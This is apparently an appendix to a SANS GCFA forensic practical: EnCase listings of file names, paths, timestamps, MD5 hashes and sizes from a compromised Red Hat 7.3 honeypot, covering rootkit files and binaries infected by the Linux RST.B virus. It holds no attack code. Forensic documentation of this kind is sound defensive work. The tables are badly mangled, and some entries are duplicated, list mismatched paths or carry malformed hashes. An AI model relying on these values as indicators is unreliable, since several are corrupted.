<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 09:45:26PM</td>
<td>d4a395c4cb342bd6ba6ae59453ee4485</td>
<td>297,984</td>
<td>297,363</td>
</tr>
<tr>
<td>ipcalc</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ipcalc</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>63b258da1ed7b7dc3cac1f4c32d8ff40a</td>
<td>38,912</td>
<td>38,390</td>
</tr>
<tr>
<td>sense</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sense</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>06/24/01 09:45:26PM</td>
<td>63b258da1ed7b7dc3cac1f4c32d8ff40a</td>
<td>38,912</td>
<td>38,390</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\.sense
Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:25:20PM
Last Written: 02/07/02 11:37:18AM
Hash Value: 464dc23cac477c43418eb8d3ef087065
Physical Size: 4,096
Logical Size: 4,060

192) Name: sleep
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sleep
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:02PM
Last Written: 04/08/02 10:02:12AM
Hash Value: bbf8b62445518e7be3fe1db34abd1dea
Physical Size: 20,480
Logical Size: 19,999

193) Name: touch
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\touch
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:00PM
Last Written: 03/24/02 07:23:19PM
Hash Value: 66fb0a92dc2abcd0c28956eceedea704a
Physical Size: 33,792
Logical Size: 32,799

194) Name: sed
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\sed
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/30/03 04:50:01PM
Last Written: 04/05/02 03:26:20AM
Hash Value: 541c2abbe42d278119dd9924854202ec
Physical Size: 60,416
Logical Size: 59,612

195) Name: hdx1
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\hdx1
Entry Modified: 06/29/03 03:22:11PM
Last Accessed: 06/29/03 03:22:11PM
Last Written: 06/29/03 03:22:11PM
Hash Value: 728
Physical Size: 728
Logical Size: 0

196) Name: libgc.so
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\x\libgc.so
Entry Modified: 06/29/03 03:22:08PM
Last Accessed: 06/29/03 03:22:10PM
Last Written: 06/29/03 03:22:08PM
Hash Value 68b329da9893e34099c7d8ad5cb9c940
Physical Size 1,024
Logical Size 1

197) Name mount
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mount
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:55:34PM
Last Written 04/01/02 05:26:24PM
Hash Value 51e4219c74324b6225ec4a9feb64d0e8
Physical Size 69,632
Logical Size 68,863

198) Name pgawk
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\pgawk
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:00PM
Last Written 03/18/02 05:25:27AM
Hash Value dc46f094dc32c55945a8a91dfc7da4c
Physical Size 259,072
Logical Size 258,236

199) Name killall
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\dev\killall
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/29/03 03:22:07PM
Last Written 02/28/02 03:09:19PM
Hash Value 9b8536a36dc974af3264e68dd6c014f0
Physical Size 13,312
Logical Size 12,320

200) Name login
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\login
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/01/02 05:26:23PM
Hash Value f7bbe014bea2e758c25ff9d727ef5e82
Physical Size 28,672
Logical Size 27,839

201) Name login
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\login
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/01/02 05:26:23PM
Hash Value f7bbe014bea2e758c25ff9d727ef5e82
Physical Size 28,672
Logical Size 27,839
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>nice</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\nice</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>35cb1f72e74a590e9feab89765bfeefc</td>
<td>21,504</td>
<td>20,767</td>
</tr>
<tr>
<td>popauth</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system.x\popauth</td>
<td>06/29/03 03:22:08PM</td>
<td>06/29/03 03:22:10PM</td>
<td>06/29/03 03:22:08PM</td>
<td>6c613bf6376fe55623e95ec31f55aba6</td>
<td>36,864</td>
<td>36,415</td>
</tr>
<tr>
<td>pwd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\pwd</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>772fa70e799f2867c1092009ce75cf8</td>
<td>19,456</td>
<td>18,815</td>
</tr>
<tr>
<td>rc.sysinit</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\etc\rc.d\rc.sysinit</td>
<td>06/29/03 03:22:09PM</td>
<td>06/30/03 04:45:40PM</td>
<td>06/29/03 03:22:09PM</td>
<td>ee965268d25b94ed0f0eb16db5be890</td>
<td>22,528</td>
<td>22,379</td>
</tr>
<tr>
<td>rmdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\rmdir</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>9ec6c46ce54bdced26d5dfebf0db0b78</td>
<td>20,480</td>
<td>19,647</td>
</tr>
<tr>
<td>true</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\true</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
<td></td>
<td></td>
<td>20,480</td>
<td>19,647</td>
</tr>
</tbody>
</table>
EnCase Computer Analysis Report

Last Accessed 06/30/03 04:50:02PM
Last Written 04/08/02 10:02:12AM
Hash Value 5a6945a0c9a35f6325526b40d7b13646
Physical Size 15,360
Logical Size 14,367

208) Name umount
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\umount
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:01PM
Last Written 04/01/02 05:26:24PM
Hash Value eaa0bdf117713f0141de92b8a5e7ed12
Physical Size 35,840
Logical Size 35,327

209) Name uname
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\uname
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/08/02 10:02:13AM
Hash Value 79bbdfd9a074c1d8bada03456410ebf5
Physical Size 19,456
Logical Size 19,071

210) Name usleep
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\usleep
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 04/19/02 10:35:23AM
Hash Value c512271dc84a7d892551a73185d89049
Physical Size 33,792
Logical Size 33,349

211) Name vi
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\vi
Entry Modified 06/29/03 03:22:11PM
Last Accessed 06/30/03 04:50:02PM
Last Written 03/24/03 09:37:31PM
Hash Value 99d036032ca9d35d30d9df34127b2d5b
Physical Size 391,168
Logical Size 390,783

212) Name install
Description File
Full Path Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s.install
Entry Modified 06/29/03 03:22:08PM
Last Accessed 06/29/03 03:25:21PM
Last Written 03/24/03 09:37:31PM
Hash Value 5ab9ac0a738a778c85f553738f3869d
Physical Size 12,288
<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>213</td>
<td>grep</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\grep</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/26/02 11:24:50AM</td>
<td>03800b9ba1467bb667ea3d81423614f9</td>
<td>122,880</td>
<td>122,835</td>
</tr>
<tr>
<td>214</td>
<td>gettext</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\gettext</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/05/02 12:14:26AM</td>
<td>8d1cfce9be26d6fca3f536502af8744</td>
<td>44,032</td>
<td>43,452</td>
</tr>
<tr>
<td>215</td>
<td>false</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\false</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>82e9e2b2e4bc475d576a799fa51ab3df</td>
<td>15,360</td>
<td>14,367</td>
</tr>
<tr>
<td>216</td>
<td>echo</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\echo</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>59a844056de45855afa945cab1fc044d</td>
<td>20,480</td>
<td>19,839</td>
</tr>
<tr>
<td>217</td>
<td>doexec</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\doexec</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>92999ee2742dcc42e7283c5dc9825922</td>
<td>14,336</td>
<td>13,474</td>
</tr>
<tr>
<td>218</td>
<td>dmesg</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dmesg</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>03800b9ba1467bb667ea3d81423614f9</td>
<td>122,880</td>
<td>122,835</td>
</tr>
<tr>
<td>219) Name</td>
<td>date</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>-----------</td>
<td>-----------------------</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dmesg</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/30/03 04:50:02PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Last Written</td>
<td>04/01/02 05:26:24PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Hash Value</td>
<td>cf01c9d9574357c27510afff2f1630a7</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Physical Size</td>
<td>13,312</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Logical Size</td>
<td>12,843</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>220) Name</th>
<th>cut</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cut</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/30/03 04:50:00PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>03/22/02 01:02:03PM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>6219a330ee1e688ab8068885eb54a65f</td>
</tr>
<tr>
<td>Physical Size</td>
<td>29,696</td>
</tr>
<tr>
<td>Logical Size</td>
<td>30,815</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>221) Name</th>
<th>consolechars</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\consolechars</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/30/03 04:50:01PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>04/15/02 01:05:51AM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>b5acb19c71a903833d26da55c5f1ac13</td>
</tr>
<tr>
<td>Physical Size</td>
<td>52,224</td>
</tr>
<tr>
<td>Logical Size</td>
<td>51,807</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>222) Name</th>
<th>clean</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp.s\clean</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:22:08PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/29/03 03:25:20PM</td>
</tr>
<tr>
<td>Last Written</td>
<td>02/06/02 04:26:29AM</td>
</tr>
<tr>
<td>Hash Value</td>
<td>f9e2970e3a7682440316b6e1a2687cbe</td>
</tr>
<tr>
<td>Physical Size</td>
<td>2,048</td>
</tr>
<tr>
<td>Logical Size</td>
<td>1,250</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>223) Name</th>
<th>chmod</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>File</td>
</tr>
<tr>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chmod</td>
</tr>
<tr>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
</tr>
<tr>
<td>Last Accessed</td>
<td>06/30/03 04:02:10AM</td>
</tr>
<tr>
<td>Last Written</td>
<td>06/29/03 03:22:11PM</td>
</tr>
</tbody>
</table>
### EnCase Computer Analysis Report

<table>
<thead>
<tr>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>8c64e587143854ad0f0772287cbaf086</td>
<td>30,720</td>
<td>30,102</td>
</tr>
</tbody>
</table>

224) **Name**: cat  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cat  
**Entry Modified**: 06/29/03 03:22:11PM  
**Last Accessed**: 06/30/03 04:50:01PM  
**Last Written**: 03/22/02 05:02:03PM  
**Hash Value**: 52fd1af36d878c9986aa9a225f64ee65  
**Physical Size**: 29,696  
**Logical Size**: 29,549

---

**Files outside root kit infected with Linux RST.B virus**

Files infected by the *linux.rst.b* virus

225) **Name**: mt  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\sbin\mt  
**Entry Modified**: 06/30/03 04:45:40PM  
**Last Accessed**: 06/20/03 04:07:15PM  
**Last Written**: 03/01/02 06:40:43AM  
**Hash Value**: d50f6c9ae20a2a19a76026ac9d702d55  
**Physical Size**: 378,880  
**Logical Size**: 378,827

---

226) **Name**: mail  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mail  
**Entry Modified**: 06/30/03 04:55:50PM  
**Last Accessed**: 06/30/03 04:55:50PM  
**Last Written**: 06/30/03 04:55:50PM  
**Hash Value**: e9762cd89f17ec6e14b09a799f66ab48  
**Physical Size**: 75,776  
**Logical Size**: 75,251

---

227) **Name**: mt  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt  
**Entry Modified**: 06/30/03 04:55:50PM  
**Last Accessed**: 06/30/03 04:55:50PM  
**Last Written**: 06/30/03 04:55:50PM  
**Hash Value**: 14465d16bfcfa91586bd9d0e4884d5fd  
**Physical Size**: 22,528  
**Logical Size**: 21,711

---

228) **Name**: mt  
**Description**: File  
**Full Path**: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt  
**Entry Modified**: 06/30/03 04:55:50PM  
**Last Accessed**: 06/30/03 04:55:50PM
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>netstat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\netstat</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>8a6c03c19c4c93dfca31bcee94ce45da</td>
<td>39,936</td>
<td>39,399</td>
</tr>
<tr>
<td>cpio</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cpio</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>c61b782df9a5fbae4815ff9dbb574d55</td>
<td>74,752</td>
<td>74,031</td>
</tr>
<tr>
<td>bash</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\bash</td>
<td>06/19/03 11:34:09AM</td>
<td>06/30/03 04:55:47PM</td>
<td>04/12/02 10:09:54AM</td>
<td>11f4690af5b4e3b56ab94777f12aece4f4</td>
<td>541,696</td>
<td>541,096</td>
</tr>
<tr>
<td>chgrp</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chgrp</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>f4912bd9f8b8e53a5c2b1cdceea</td>
<td>25,600</td>
<td>25,183</td>
</tr>
<tr>
<td>ed</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ed</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>c08b691329e671e3dea363239e2c9d24</td>
<td>92,160</td>
<td>91,823</td>
</tr>
<tr>
<td>Entry Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Access</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>------------</td>
<td>-------------</td>
<td>-----------</td>
<td>----------------</td>
<td>--------------</td>
<td>--------------</td>
<td>------------</td>
<td>---------------</td>
<td>---------------</td>
</tr>
<tr>
<td>234) chown</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chown</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>1e9625aa68abf521f64603af3b8ff8b8</td>
<td>27,648</td>
<td>27,039</td>
</tr>
<tr>
<td>235) dd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dd</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>6dd588d7284f7606d6c4f90af6dbb74a</td>
<td>37,888</td>
<td>37,375</td>
</tr>
<tr>
<td>236) ln</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ln</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>44ac2d1c35045f3f2052d9d21aea75e8</td>
<td>29,696</td>
<td>28,863</td>
</tr>
<tr>
<td>237) mkdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mkdir</td>
<td>06/29/03 03:39:21PM</td>
<td>06/29/03 03:41:11PM</td>
<td>06/29/03 03:39:21PM</td>
<td>7aae71b278f929d854f489fdab2f98fd</td>
<td>23,552</td>
<td>22,655</td>
</tr>
<tr>
<td>238) mv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mv</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>d45155beffebbdc7ac6d26a7add84d3a</td>
<td>53,248</td>
<td>52,255</td>
</tr>
<tr>
<td>239) egrep</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\egrep</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Entry</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>-------</td>
<td>-------------</td>
<td>-----------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>------------</td>
<td>--------------</td>
<td>--------------</td>
</tr>
<tr>
<td>240) Name</td>
<td>mnetstat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mnetstat</td>
<td>06/29/03 03:25:20PM</td>
<td>06/30/03 04:50:02PM</td>
<td>06/29/03 03:25:20PM</td>
<td>1a1c4e75e82a51bc570350aa22184913</td>
<td>1,024</td>
</tr>
<tr>
<td>241) Name</td>
<td>bzip2recover</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\bzip2recover</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>5d50b7a01bb832876e7092dc91d70f4</td>
<td>109,568</td>
</tr>
<tr>
<td>242) Name</td>
<td>gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddeccff3e3c8a30c99725b</td>
<td>20,480</td>
</tr>
<tr>
<td>243) Name</td>
<td>gencat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>84492adb4dddeccff3e3c8a30c99725b</td>
<td>20,480</td>
</tr>
<tr>
<td>244) Name</td>
<td>getent</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\getent</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>f1a14ddaf6053137dbda6798ee90f5a9</td>
<td>20,480</td>
</tr>
</tbody>
</table>
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>20,480</td>
<td>19,240</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>245) iconv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/iconv</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>cfaa21a7bab79204868fa7265a7870e6</td>
<td>53,248</td>
<td>51,004</td>
</tr>
<tr>
<td>246) lddlibc</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/lddlibc4</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>2e4e896f0ea9192ef5d94673d79dd403</td>
<td>8,192</td>
<td>7,800</td>
</tr>
<tr>
<td>247) localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/localedef</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f5b4d281cf00e5a4fdcb3</td>
<td>299,008</td>
<td>298,828</td>
</tr>
<tr>
<td>248) localedef</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/localedef</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f5b4d281cf00e5a4fdcb3</td>
<td>299,008</td>
<td>298,828</td>
</tr>
<tr>
<td>249) sprof</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/usr/bin/sprof</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>bb5be07bef4f5b4d281cf00e5a4fdcb3</td>
<td>299,008</td>
<td>298,828</td>
</tr>
</tbody>
</table>

© SANS Institute 2004, As part of GIAC practical repository. Author retains full rights.
<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>db1_dump185</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/sprof</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>4206b74dd02af036ee754efe56898b3b</td>
<td>24,576</td>
<td>20,552</td>
</tr>
<tr>
<td>db1_dump185</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>lsattr</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>lsattr</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>eject</td>
<td></td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/eject</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>------------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>------------------</td>
<td>-----------------</td>
<td>----------------</td>
<td>---------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>eject</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system/\usr/bin/eject</td>
<td>06/29/03 11:53:01PM</td>
